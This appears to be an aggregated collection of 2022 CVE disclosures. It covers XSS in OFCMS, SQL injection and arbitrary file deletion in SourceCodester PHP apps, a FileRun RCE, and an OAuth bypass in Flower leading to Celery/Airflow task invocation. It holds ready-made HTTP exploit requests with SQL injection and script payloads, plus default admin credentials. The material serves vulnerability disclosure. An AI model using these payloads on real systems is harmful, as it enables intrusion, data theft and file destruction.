OFCMS v1.1.4 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /admin/comn/service/update.json.

\[Suggested description\]  
There are many cross-site scripting vulnerabilities in the background of OFCMS system version 1.1.4, because the special characters entered are not effectively escaped.

\[Vulnerability Type\]  
Cross Site Scripting (XSS)

\[Vendor of Product\]  
https://gitee.com/oufu/ofcms

\[Affected Product Code Base\]  
v1.1.4

\[Affected Component\]

    POST /ofcms/admin/comn/service/update.json?sqlid=system.role.update HTTP/1.1
    Host: localhost:7000
    Content-Length: 94
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://localhost:7000
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://localhost:7000/ofcms/admin/f.html?p=system/role/edit.html&role_id=3&_fsUuid=820e45c9-7f52-4e8d-b917-930c4b13153c
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=A81B589572EF210191B7C30F017A814D
    Connection: close
    
    role_id=3&role_name=%24%7B2*2%7D&role_desc=Test+freemarker+%3Cscript%3Ealert(1)%3C%2Fscript%3E
    

\[Attack Type\]  
Remote

\[Impact Code execution\]  
true

\[Vulnerability to prove\]  
Case 1:  
/ofcms/admin/comn/service/update.json?sqlid=system.menu.update  
  
  

Case 2:  
/ofcms/admin/comn/service/update.json?sqlid=cms.bbs.update  
  
  

Case 3:  
/ofcms/admin/comn/service/update.json?sqlid=cms.ad.update

CVE-2022-29653: There are many cross-site scripting vulnerabilities in ofCMS system background · Issue #I53COA · 欧福/ofcms - Gitee.com

Ecommerce-project-with-php-and-mysqli-Fruits-Bazar 1.0 is vulnerable to SQL Injection in \search_product.php via the keyword parameters.

creativesaiful / **Ecommerce-project-with-php-and-mysqli-Fruits-Bazar-** Public

*   Notifications
*   Fork 2
*   Star 3
    

This is an eCommerce project using Php, javaScript, Jquery, and Mysql.

3 stars 2 forks

Star

Notifications

*   Code
*   Issues
*   Pull requests
*   Actions
*   Projects
*   Wiki
*   Security
*   Insights

More

master

Switch branches/tags

**1** branch **0** tags

Code

**Latest commit**

creativesaiful somthing

c07a847

Sep 16, 2021

somthing

c07a847

**Git stats**

*   **25** commits

**Files**Permalink

Failed to load latest commit information.

Type

Name

Latest commit message

Commit time

admin

assets

includes

json

addtocart.php

all\_product.php

catagory.php

ecommerce.sql

exist\_order.php

index.php

readme.txt

search\_product.php

single\_product.php

user\_login.php

user\_password\_recover.php

user\_password\_update.php

user\_register.php

userprofile copy.php

userprofile.php

**readme.txt**

1\. First create a database name ecommerce in your database. Than import ecommerce.sql file in your ecommerce database.

admin access:
saifulislamsapon@gmail.com
pass:1234


user access:
saifulislamsapon@gmail.com
123

**About**

This is an eCommerce project using Php, javaScript, Jquery, and Mysql.

**Topics**

ecommerce-website php-website php-project core-php project-samples php-admin-panel project-example basic-ecommerce full-stack-web-development

**Resources**

Readme

**Stars**

**3** stars

**Watchers**

**1** watching

**Forks**

**2** forks

**Releases**

No releases published

**Packages**

No packages published  

**Languages**

*   CSS 36.7%
*   JavaScript 29.0%
*   SCSS 25.1%
*   PHP 8.6%
*   Hack 0.6%

CVE-2022-30478: GitHub - creativesaiful/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar-: This is an eCommerce project using Php, javaScript, Jquery, and Mysql.

In Afian Filerun 20220202 Changing the "search_tika_path" variable to a custom (and previously uploaded) jar file results in remote code execution in the context of the webserver user.

CVE-2022-30470: FileRun - Selfhosted File Manager with Sharing and Backup for Photos, Docs & More

Flower, a web UI for the Celery Python RPC framework, all versions as of 05-02-2022 is vulnerable to an OAuth authentication bypass. An attacker could then access the Flower API to discover and invoke arbitrary Celery RPC calls or deny service by shutting down Celery task nodes.

This post discloses two vulnerabilities in Flower, a popular open-source web application deployed along with Celery (a task queue for Python):

*   Lack of CSRF or SSRF protections in Flower, allowing remote API invocations on internally-hosted instances
*   An OAuth authentication bypass allowing anyone to login and access all Flower functionality

These issues are tracked under CVE-2022-30034.

I created a PR which fixes the OAuth bypass and disables the API unless authentication is configured. The maintainer did not respond to attempts at contact so it is unclear if this will be merged: https://github.com/mher/flower/pull/1216.

The vulnerabilities themselves are moderately interesting, but a more interesting question to ask is “what could an attacker _do_ with Flower?”:

*   Invoke arbitrary tasks registered with Celery (basically, RPC; but the tasks would be highly dependent on application context)
*   Apache Airflow is probably the most popular software which uses Celery, and registers a Celery task in a default configuration. Through Flower, an attacker could invoke airflow tasks run with arbitrary parameters, which could (dependent on configuration or other vulnerabilities) be used to achieve RCE

**Background**

Flower is a web app which allows monitoring and managing Celery, which is a task queue for Python.

*   Flower has more than 5000 stars on Github and is included in the default deployments of other extremely popular software such as Apache Airflow.
*   Flower is (or was) included but not enabled by default in some managed Airflow deployments such as Google Cloud Composer.
*   Shodan shows more than 2000 publicly-exposed instances, although most instances appear to require authentication with basic authentication, and thus would not be vulnerable.
*   There are likely many more instances which are only accessible on internal/corporate networks.

**Lack of CSRF and SSRF Protections**

Flower lacks CSRF protection, meaning that if a user with access to a Flower instance visits a malicious website, that site could run JavaScript which calls Flower’s APIs. This would primarily be used to exploit other vulnerabilities, such as through the arbitrary task invocation issue. The lack of CSRF protections apply to all web routes, APIs, and the api/task/events websocket endpoint. In particular, websocket connections can be used to solidly confirm the presence of the vulnerable listener on internal networks and also leak some minor information.

Lack of authentication by default also means that SSRF attacks would be straightforward on any instance not configured for authentication.

Flower also has a strange (i.e. broken) CORS policy, but it doesn’t appear to lead to any additional impact. _Note:_ a recent PR opened the CORS headers up with a wildcard, which would increase the exploitability of CSRF.

Overall, I think the likelihood of CSRF exploitation through Flower is relatively low, so my PR didn’t attempt to add CSRF protections, because doing so would likely require breaking all existing Flower API clients (e.g. requiring a custom HTTP header). Rather, the PR disables the API if authentication is disabled.

**OAuth Bypass Vulnerability**

Flower supports OAuth login via Google, Github, Okta, and Gitlab. When configuring OAuth according to the documentation, Flower requires the user to provide a regular expression which is checked against the user email that Flower receives after the user logs in:

    flower --auth_provider=flower.views.auth.GitLabLoginHandler --auth=.*@example.com
    

The above command line is intended to configure Flower to use Gitlab OAuth and only allow users whose emails are registered with example.com. However, the regular expression check _lacks regex anchors_, thus allowing anyone to authenticate as long as they can sign up to the OAuth identity provider with a user-controlled email.

Example scenarios:

*   For .*@example.com, a valid user might be alice@example.com, but attacker@example.com.attacker.com can also login.
*   Specifying me@gmail.com would only be intended to allow one user to login, but me@gmail.com.attacker.com also works.
*   Because the regular expression is provided on the command line, the period may not be correctly escaped. For a literal period provided in a shell command, a double backslash is generally needed to get a literal backslash in the argument. The documentation examples use either zero or one backslashes. As a result, .*@corp.example.com or .*@corp\.example\.com could be bypassed with attacker@corpZexample.com even if anchors were applied.

**Reproduction**

I demonstrated the vulnerability in a local deployment of Flower with the following configuration:

1.  Create a public Gitlab user user1@tannerprynn.com (the intended user of the application)
    *   Configure an application under this user to login to Flower
2.  Create a second public Gitlab user user1@tannerprynn.com.pry.nz
3.  Flower configuration:
    *   Command-line options --auth_provider=flower.views.auth.GitLabLoginHandler --auth=.*@tannerprynn.com
    *   Environment variables FLOWER_OAUTH2_KEY, FLOWER_OAUTH2_SECRET, FLOWER_OAUTH2_REDIRECT_URI

**Recommendations for Flower**

1.  Disable the API unless authentication is configured for Flower
2.  Implement CSRF protections (primarily relevant to the API); the most straightforward would be to require a custom non-CORS-exempt header for all API requests
3.  Fixing the OAuth bypass will likely require either a breaking change for users, or using custom logic to match the user-provided string without interpreting a single period as a wildcard character

**Post-Exploitation**

With the ability to send requests to Flower, an attacker would primarily use its APIs - in particular, POST /api/task/apply/{taskname} which allows invoking any Celery task. Assuming the attacker is not operating through blind CSRF, they can use GET /api/task/types and other APIs to list which tasks can be called and the parameters, and attempt to exploit those specific tasks. Given the expectation that these calls would only come from internal, trusted systems, it is likely that any custom-developed tasks have vulnerabilities or cause some dangerous actions. However, those vulns would be highly application/context-specific.

I was interested in one specific deployment of Flower, which is with Airflow, a very popular open-source app. Flower is deployed without authentication in the default Airflow configuration (when deployed with the recommended docker-compose configuration and Helm chart). Airflow registers a single task airflow.executors.celery_executor.execute_command which allows invoking an Airflow task via the equivalent of a command-line invocation of airflow tasks run.

    POST /api/task/apply/airflow.executors.celery_executor.execute_command HTTP/1.1
    Host: flower:5555
    Content-Type: text/plain
    Content-Length: 84
    
    {"args":[["airflow", "tasks", "run", "example_bash_operator", "runme_1", "1234"]]}
    

Initially, I was relatively confident that this would lead directly to RCE, but it doesn’t appear straightforward:

*   Although the arguments appear to specify a command-line invocation, they don’t actually pass through a shell at any point. Celery passes these arguments through a message queue (e.g. Redis) and they invoke the execute_command Python method after being picked up by an Airflow worker, which then parses the arguments using its own command-line parser.
*   The first three arguments ("airflow", "tasks", "run") are validated and cannot be changed to invoke other airflow CLI commands.
*   The last argument is execution_date_or_run_id which is used unsafely in Airflow’s example_bash_operator, but this argument appears to be validated.

That’s not to say that this is safe. An attacker can still specify arbitrary arguments after airflow tasks run, which would include parameters such as --cfg-path and --subdir. If combined with the ability to write a file somewhere on the filesystem, either of these configuration options allows picking up and running arbitrary python code. Without that ability, the impact would be limited to calling the DAGs/tasks that are already set up on the system.

**Recommendations for Airflow**

1.  If possible, strip all parameters from the arguments provided to this invocation path so that an attacker does not have the ability to change the configuration in a way which might allow unexpected code execution
2.  Although run_id seems to be validated, preventing injection in example_bash_operator, that doesn’t seem to be a documented expectation in general, so you should handle it safely in your example code
3.  If Flower isn’t a necessary component of Airflow, consider removing it from the default docker-compose/Helm setup
4.  Alternatively, set up docker-compose and Helm to use basic auth with randomly-generated passwords for Flower (even a weak static password would actually help limit CSRF/SSRF attacks)

From discussions with the Airflow maintainer, Flower is seen as a development-only tool that should not be used in any production deployment. However, given that Flower itself does not appear to be actively maintained, the Airflow maintainer decided that they would disable Flower by default in their docker-compose and Helm chart (starting in version 2.3.1).

**Disclosure Timeline**

*   05 April 2022: Initial contacts to Apache Security team
*   06 April 2022: Partial disclosure to Airflow maintainer of impact and recommendations for Airflow
*   06 April 2022: Initial attempt to contact the Flower maintainer (mher)
*   06-21 April 2022: Follow up emails to the Airflow maintainer
*   12-25 April 2022: Discussion with Airflow maintainer
*   23-26 April 2022: Attempts to reach a maintainer for Flower via the associated Celery project’s team members, but no team member was able to give me a working contact
*   26 April 2022: Opened an issue on the public Flower repo asking for a security contact
*   03 May 2022: Followed up on the public issue to state that disclosure would occur in 14 days (17 May) due to lack of response
*   16 May 2022: Airflow maintainer requested a short delay to allow a new release of Airflow which disables Flower by default
*   25 May 2022: Airflow updated to 2.3.1
*   26 May 2022: Public disclosure

CVE-2022-30034: Multiple Vulnerabilities in Flower and Downstream Attacks on Airflow

Online Car Wash Booking System v1.0 is vulnerable to SQL Injection via /ocwbs/classes/Master.php?f=delete_vehicle.

Permalink

**Online Car Wash Booking System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html

Vulnerability File: /ocwbs/classes/Master.php?f=delete\_vehicle

Vulnerability location: /ocwbs/classes/Master.php?f=delete\_vehicle, id

\[+\] Payload: id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /ocwbs/classes/Master.php?f\=delete\_vehicle HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/admin/?page=vehicles
Content-Length: 65
Cookie: PHPSESSID=qr1o26kvu55cqqitadqht6jna5
Connection: close
id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-31347: bug_report/SQLi-4.md at main · k0xx11/bug_report

Online Car Wash Booking System v1.0 is vulnerable to SQL Injection via /ocwbs/classes/Master.php?f=delete_booking.

Permalink

**Online Car Wash Booking System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html

Vulnerability File: /ocwbs/classes/Master.php?f=delete\_booking

Vulnerability location: /ocwbs/classes/Master.php?f=delete\_booking, id

\[+\] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /ocwbs/classes/Master.php?f\=delete\_booking HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/admin/?page=bookings/view\_details&id=3
Content-Length: 65
Cookie: PHPSESSID=qr1o26kvu55cqqitadqht6jna5
Connection: close
id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-31344: bug_report/SQLi-3.md at main · k0xx11/bug_report

Online Car Wash Booking System v1.0 is vulnerable to Delete any file via /ocwbs/classes/Master.php?f=delete_img.

**Online Car Wash Booking System v1.0 by oretnom23 has Delete any file**

vendors: https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html

Vulnerability File: /ocwbs/classes/Master.php?f=delete\_img

Vulnerability location: /ocwbs/classes/Master.php?f=delete\_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shel.php file in the root directory

POST /ocwbs/classes/Master.php?f\=delete\_img HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/admin/?page=system\_info
Content-Length: 46
Cookie: PHPSESSID=qr1o26kvu55cqqitadqht6jna5
Connection: close
path=C%3A%2Fxampp%2Fhtdocs%2Focwbs%2Fshell.php

At present, the shell.php file is still in the root directory of the website, when we send a request to delete the shell.php file

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

By this time, shell.php has been deleted.

CVE-2022-31342: bug_report/delete-file-1.md at main · k0xx11/bug_report

Online Car Wash Booking System v1.0 is vulnerable to SQL Injection via /ocwbs/classes/Master.php?f=delete_service.

Permalink

Cannot retrieve contributors at this time

**Online Car Wash Booking System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html

Vulnerability File: /ocwbs/classes/Master.php?f=delete\_service

Vulnerability location: /ocwbs/classes/Master.php?f=delete\_service, id

\[+\] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /ocwbs/classes/Master.php?f\=delete\_service HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/admin/?page=services
Content-Length: 65
Cookie: PHPSESSID=qr1o26kvu55cqqitadqht6jna5
Connection: close
id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-31346: bug_report/SQLi-5.md at main · k0xx11/bug_report

Online Car Wash Booking System v1.0 is vulnerable to SQL Injection via /ocwbs/classes/Master.php?f=get_vehicle_service.

Permalink

Cannot retrieve contributors at this time

**Online Car Wash Booking System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html

Vulnerability File: /ocwbs/classes/Master.php?f=get\_vehicle\_service

Vulnerability location: /ocwbs/classes/Master.php?f=get\_vehicle\_service, id

Current database name: ocwbs\_db,length is 8

\[+\] Payload: id=3' and length(database()) =8--+ // Leak place ---> id

POST /ocwbs/classes/Master.php?f\=get\_vehicle\_service HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/?p=booking
Content-Length: 34
Cookie: PHPSESSID=qr1o26kvu55cqqitadqht6jna5
Connection: close
id=3' and length(database()) =8--+

When length (database ()) = 7, Content-Length: 30

When length (database ()) = 8, Content-Length: 304

CVE-2022-31354: bug_report/SQLi-11.md at main · k0xx11/bug_report

Rescue Dispatch Management System v1.0 is vulnerable to SQL injection via /rdms/classes/Master.php?f=delete_incident.

Permalink

Cannot retrieve contributors at this time

**Rescue Dispatch Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15296/rescue-dispatch-management-system-phpoop-free-source-code.html

Vulnerability File: /rdms/classes/Master.php?f=delete\_incident

Vulnerability location: /rdms/classes/Master.php?f=delete\_incident, id

\[+\] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /rdms/classes/Master.php?f\=delete\_incident HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/rdms/admin/?page=incidents
Content-Length: 65
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close
id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

Tag

#java